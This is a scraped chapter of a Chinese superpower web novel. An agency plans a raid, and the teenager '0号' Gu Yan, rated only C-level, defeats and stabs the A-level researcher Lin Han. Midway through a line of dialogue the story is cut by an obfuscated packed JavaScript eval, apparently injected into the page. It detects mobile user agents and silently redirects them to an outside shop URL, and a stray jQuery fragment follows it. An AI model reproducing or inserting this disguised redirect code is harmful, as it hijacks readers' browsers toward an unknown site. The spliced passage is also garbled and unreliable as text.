-异能管理局 C区分部-
“查到了！”
急促的脚步声响起，紧接着一份文件被拍在桌面上。
“总部调来的消息，玛利亚·柯林斯，柯林斯前任家主的私生女，疑似早年便离开柯林斯家族领地，去向不明，档案被人为抹去过一部分。”汇报的人语速很快。
“痕迹处理得很干净，不像是普通的权限操作，有人专门替她扫过尾。”
“继续盯着她。”
汪鑫声音沉下来。
他的目光从文件上快速扫过，“还有老约翰也一并持续关注，他跟林翰之间，绝对有我们不知道的联络方式”
“另外…”来人犹豫了一下，“暗线发来的情报，林翰似乎已经晋升A级了。
话音落下，空气安静了一瞬。
会议桌上，那些翻动文件的手指同时停住了。
“…A级？”有人重复了一遍这个等级，语气里满是不可思议。
他们整个分部除了局长，其他最高的等级也只有B级，而如今局长又在B区失联未归…
“林翰的异能太过特殊了，”另一个人接话，声音低了些，“一旦完全展开，A级以下几乎没有反制手段。如果我们的人正面撞上他…”
他的话没有说完，但所有人都知道他想说什么。
“汪副，现在怎么办？”有人抬起头，看向会议桌中央的那个人。
“我们绝对不能放跑他们，现在从A区总部申请调人还来得及吗？”
“来不及了。”
汪鑫的声音从中间传来，他表情冷峻。
“戚玖那边刚传来消息，0号提示她，今晚是收网的最好时机。林翰和杨烁之间可能已经出现了裂隙，如果错过今晚，等他们各自完成布局，局势就不是我们能控住的了。”
“0号？怎么又是他？”有人低声嘀咕了一句。
但这一次没有人追问“为什么”。
0号从来不给解释，他只给结论，没有人知道0号是怎么拿到那些情报的，也没人知道他的目的。
但目前为止，他的结论没有出过错。
“告诉他们，”最终汪鑫的声音重新响起，“管理局已经派人去支援了，不要强撑。”
没有人继续接话。
因为他们都知道，C级对上A级，还是太勉强了。
异能的等级差距是一道无法绕过的屏障，不是靠策略和勇气就能填补的。
他们这次最好的打算就是活捉杨烁回来拷问，至于林翰，只能希望他们之间的分歧够大，林翰会选择叛逃而非联手。
否则，若是他们联手死守研究所，那么他们异能管理局甚至在短时间内都无法救出里面的实验体。
那些被关在实验室里的孩子们，不知道还能撑到什么时候。
……
林翰抬起手指，他低头盯着那点血迹，忽然笑了一下。
“就算你能快速摆脱异能封禁又如何？”
“我是A级。”
他把沾着血的手指收回去，语气松散下来，“我可以慢慢陪你耗，直到你异能耗尽。”
“你呢，0号？”他抬起眼，目光落在顾衍身上，眼底的傲慢再不做掩饰。
“告诉我，你还能撑多久？”
但往后几个来回里，一切却逐渐失去了林翰的控制。
少年的速度快得离谱，散射禁咒根本追不上他。
灰色的锁链一次次落在空处，要么在他身后炸开，要么擦着衣角掠过，永远差了那么半步。
而对于近点禁咒，他不闪不避，像是那些锁链根本不存在一样。
他径直穿过禁咒覆盖的范围，像鬼魅一样闪到林翰面前。
那一瞬间的距离，近到林翰甚至看清他红眸中倒映的刀光。
“林副所长，我在这呢。”
他能感觉到那种无声的压迫感，但那双眼睛的主人分明还在笑。
而且，少年的攻击方式完全没有规律。
上一秒暗红色的丝线从指间射出，擦着林翰的脖颈掠过；下一秒匕首就从侧下方刺上来，角度刁钻得根本不像是临时起意，他躲都躲不掉。
林翰完全无法预判下一次出现在他面前时，少年手里的会是什么。
他只能被动地格挡与闪避，就像少年刚刚开始那样。
而待他反应过来准备反击时，少年早已闪身退开，动作干净利落，不给任何纠缠的机会。
一道，两道，三道…
伤口一点点累积，每一道都不致命，却都落在能让他不太舒服的地方。
这简直就是把他的脸面放在地上摩擦。
林翰逐渐意识到一丝不对劲，就算0号异能特殊，能快速挣脱束缚，但也需要耗费能量。
消耗战，是他林翰的优势局。
可十几个来回打下来，他的异能消耗了很多，他能感觉到那些灰色的锁链正在变得比之前稀疏。
虽然身上的伤口不大，但堆叠在一起，他的速度也明显变慢了。
而对面那个少年依旧站在两米开外，面不改色，连呼吸的节奏都没乱过。
林翰忽然意识到一个很荒谬的可能性。
消耗战里，最先被消耗殆尽的…好像是他自己。
他抬眼看向顾衍。
少年正在把玩手里的匕首，刀刃在指间翻了个花，然后停下来，抬起那双红色的眼睛看向他。
“林副所长，您这是累了吗？”少年似是关切道，他的尾音微微上扬。
衣摆上沾着的几道血迹已经被他随手拂去了大半。
那些血迹有的来自林翰，有的来自他自己，但数量上显然并不对等。
“不可能……我是A级，这怎么可能？”
林翰的声音从喉咙深处挤出来，带着一种他自己都没意识到的颤抖。
他陷入了自我怀疑，0号只不过是D级，最多C级，他根本没有资格跟自己叫板。
除非他是A级，但这怎么可能？
A级跟C级之间的鸿沟，他花了五年才跨过去。而眼前的少年不过十五六岁，怎么可能在这么短的时间里，追上自己用五年铺成的路？
“不可能，绝对不可能……”他低声重复着。
林翰低头看了一眼自己还在渗血的口子，那些伤口加在一起，流掉的血量已经不算少了。
而0号身上虽然也被他划了几道，但跟他比起来，都不算多，更像是为了不让这场战斗显得一面倒而随手留下的痕迹。
少年再一次闪到他的面前，速度丝毫不减。
林翰还没来得及调整自己的刀柄方向，少年已经出现在了他的近侧。
“你…到底想怎么样？”他开口了，声音沙哑而破碎，像是终于放弃了用等级来维持某种体面。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740320|209069||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我想怎么样？”少年微微歪了歪头，“我想跟您谈的，从一开始就没变过。”
“只不过是您先背叛了交易，把刀指向我而已。”
他的手不知何时已经扣上了林翰的手腕，力道不大，却精准地卡在关节的薄弱处。
他控制着那柄指向自己的解剖刀，以一个极为扭曲的姿势反推回去，刀尖在空中划出一道弧线，擦过林翰自己的手背，留下一道新的的血痕。
“那我只能反击了。”
“我后悔了…我后悔了！”
林翰的声音忽然拔高，嘶哑中带着一种破釜沉舟般的急促，像是终于意识到自己站在悬崖边缘。
“你去杀杨烁！你去杀了他！我什么都答应你！”
“非常遗憾，林副所长。”
顾衍的声音不大，礼貌却没多少温度。
“因为我这个人”
他低下头，那双红眸不紧不慢地压过来。
“最讨厌的就是背叛。”
林翰那张脸顿时失去血色，少年的话彻底否决了所有可能。
“你不是很想知道我的异能等级吗？”
顾衍抬起另一只手，指尖在空气中虚虚一划。
一道暗红色的文字浮现在林翰眼前。
【异能等级：C级】
林翰的眼眶猛地瞪大。
那双眼睛里先是震惊，然后是不理解，最后那种难以置信变成了一种更深的恐惧。
他张着嘴，嘴唇翕动了几下，声音像是被卡在了喉咙里。
“你…你…”
他的声音断断续续的，像是每一个字都要耗费全身的力气才能挤出来。
“这不可能……呃啊——”
他没有说完。
因为后面的话，再也说不出口了。
他宁可0号是A级，A级输给A级，虽然难堪，但不丢人。
他可以告诉自己，只是运气不好，只是遇到了克制自己异能的人。那些理由虽然牵强，但至少能让他保持最后一丝体面。
可他无法接受的是，他的异能，他那引以为傲的A级异能，竟然在一个C级面前形同虚设。
这种认知，比起刀尖本身对他来说更加致命。
“好了，送你去地狱陪玛利亚吧。”
顾衍的声音从上方传来，温和得像是在哄一个即将入睡的人。
“别急，她很快就会来找你了。”
林翰的瞳孔猛地一缩，他像是想说什么，但顾衍没有给他开口的机会。
【晚安。】
话音落下的瞬间，匕首没入胸膛，动作干脆利落。
林翰那双曾满是傲慢的瞳孔，此刻正在一点一点地失去焦距。
然后，他缓缓地，像是终于放弃了什么似的，垂下了头。
空气中安静了一瞬。
突然——
轰的一声传来。
顾衍指尖一顿，但没有抬头。
看来，他的援兵们终于姗姗来迟了。
紧闭着的密码门，被人从外面强行破开。
金属门板在冲击下变形扭曲，像是一道被猛然拉开的帘幕，露出门后那道熟悉的身影。
“顾衍！”
随之而来的是漫画主角熟悉的声音，带着一种刚刚长跑完的急促呼吸。
然而，在看到房间里面的景象后，主角团的三人都愣在了原地。